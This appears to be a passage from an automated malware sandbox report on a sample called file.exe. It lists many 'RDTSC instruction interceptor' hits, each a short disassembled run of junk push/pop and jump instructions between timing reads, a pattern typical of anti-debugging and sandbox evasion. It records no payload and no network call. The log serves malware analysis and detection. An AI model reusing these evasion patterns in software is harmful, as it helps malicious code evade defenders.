Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9770 second address: 9B9775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9931 second address: 9B9936 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9A74 second address: 9B9A78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9C2C second address: 9B9C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9C30 second address: 9B9C34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9D4F second address: 9B9D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9D55 second address: 9B9D68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3AB92655FAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9D68 second address: 9B9D6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9D6C second address: 9B9D90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jmp 00007F3AB9265607h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9EE8 second address: 9B9EF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BA08B second address: 9BA08F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BA20E second address: 9BA23D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3AB92824A2h 0x0000000a jmp 00007F3AB92824A1h 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BA35C second address: 9BA362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BA602 second address: 9BA606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BA606 second address: 9BA60F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BA60F second address: 9BA615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BA615 second address: 9BA644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jp 00007F3AB9265608h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 push esi 0x00000012 pop esi 0x00000013 jnl 00007F3AB92655F6h 0x00000019 pop ecx 0x0000001a push ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BA644 second address: 9BA649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BA649 second address: 9BA64E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BDC8A second address: 9BDC9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F3AB9282496h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BDC9B second address: 9BDC9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0DDA second address: 9C0DDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0A98 second address: 9C0AB1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3AB9265604h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F3AB92655FCh 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0AB1 second address: 9C0AC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0AC4 second address: 9C0AF9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3AB92655F6h 0x00000008 jo 00007F3AB92655F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 jmp 00007F3AB9265601h 0x00000016 jmp 00007F3AB9265602h 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3D2A second address: 9C3D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3D2E second address: 9C3D54 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jo 00007F3AB926560Ah 0x0000000e jmp 00007F3AB9265604h 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3627 second address: 9C3664 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92824A4h 0x00000007 jmp 00007F3AB92824A6h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push edi 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 jbe 00007F3AB9282496h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3664 second address: 9C3668 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C37B6 second address: 9C37C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3907 second address: 9C3910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3910 second address: 9C3922 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3AB928249Bh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3922 second address: 9C394F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 ja 00007F3AB92655F6h 0x0000000c pop edi 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F3AB92655FEh 0x00000017 jc 00007F3AB92655F6h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C394F second address: 9C395E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB928249Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C8DC4 second address: 9C8DCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C8F5A second address: 9C8F77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3AB92824A8h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C90BE second address: 9C90CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F3AB926560Ah 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBEBF second address: 9CBEE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AB92824A8h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBEE0 second address: 9CBF05 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3AB92655FEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F3AB92655FCh 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBF05 second address: 9CBF0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBF0E second address: 9CBF12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBF12 second address: 9CBF16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBF16 second address: 9CBF1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC1E2 second address: 9CC1E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0A69 second address: 9D0A76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 js 00007F3AB92655FCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0F49 second address: 9D0F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D10D5 second address: 9D10DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D10DB second address: 9D10EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F3AB9282496h 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D10EA second address: 9D10FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a jng 00007F3AB92655F6h 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D125F second address: 9D1269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F3AB9282496h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97EA1D second address: 97EA23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1EF4 second address: 9D1EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9554 second address: 9D9559 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D76CB second address: 9D76DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F3AB9282496h 0x0000000a jo 00007F3AB9282496h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7AF7 second address: 9D7AFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8065 second address: 9D807B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92824A0h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8365 second address: 9D836D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8612 second address: 9D861C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3AB9282496h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D861C second address: 9D8638 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3AB92655F6h 0x00000008 jmp 00007F3AB9265602h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8638 second address: 9D8657 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F3AB92824A9h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8657 second address: 9D865B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8950 second address: 9D8968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F3AB928249Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8C32 second address: 9D8C3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8C3B second address: 9D8C56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AB92824A2h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92BF6F second address: 92BF89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3AB9265606h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92BF89 second address: 92BFBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92824A6h 0x00000007 jmp 00007F3AB92824A4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E2431 second address: 9E2439 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E16A3 second address: 9E16AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E16AB second address: 9E16AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E16AF second address: 9E16B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E16B3 second address: 9E16CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F3AB92655FCh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1BD2 second address: 9E1BEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007F3AB92824A4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1BEF second address: 9E1BF9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3AB92655F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1D57 second address: 9E1D6A instructions: 0x00000000 rdtsc 0x00000002 js 00007F3AB928249Eh 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E2194 second address: 9E219E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3AB92655FEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9A4B second address: 9E9A51 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA11C second address: 9EA120 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA120 second address: 9EA12B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA27E second address: 9EA282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA282 second address: 9EA288 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA572 second address: 9EA586 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F3AB92655F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007F3AB92655FEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA586 second address: 9EA58C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0F8F second address: 9F0F97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F10E9 second address: 9F10EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F10EF second address: 9F10F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F10F7 second address: 9F10FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F10FC second address: 9F1102 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F1102 second address: 9F1108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F1108 second address: 9F110C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F110C second address: 9F114D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92824A4h 0x00000007 jmp 00007F3AB928249Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007F3AB92824A6h 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02C4F second address: A02C67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c js 00007F3AB92655F6h 0x00000012 push esi 0x00000013 pop esi 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02C67 second address: A02C74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3AB9282496h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02C74 second address: A02C79 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A026E1 second address: A026E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A026E5 second address: A026EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02854 second address: A02858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 932AD5 second address: 932AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3AB92655F6h 0x0000000a jno 00007F3AB92655F6h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A057A8 second address: A057AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A057AE second address: A057D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop ecx 0x00000008 pushad 0x00000009 push ecx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jmp 00007F3AB9265608h 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A057D9 second address: A057DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
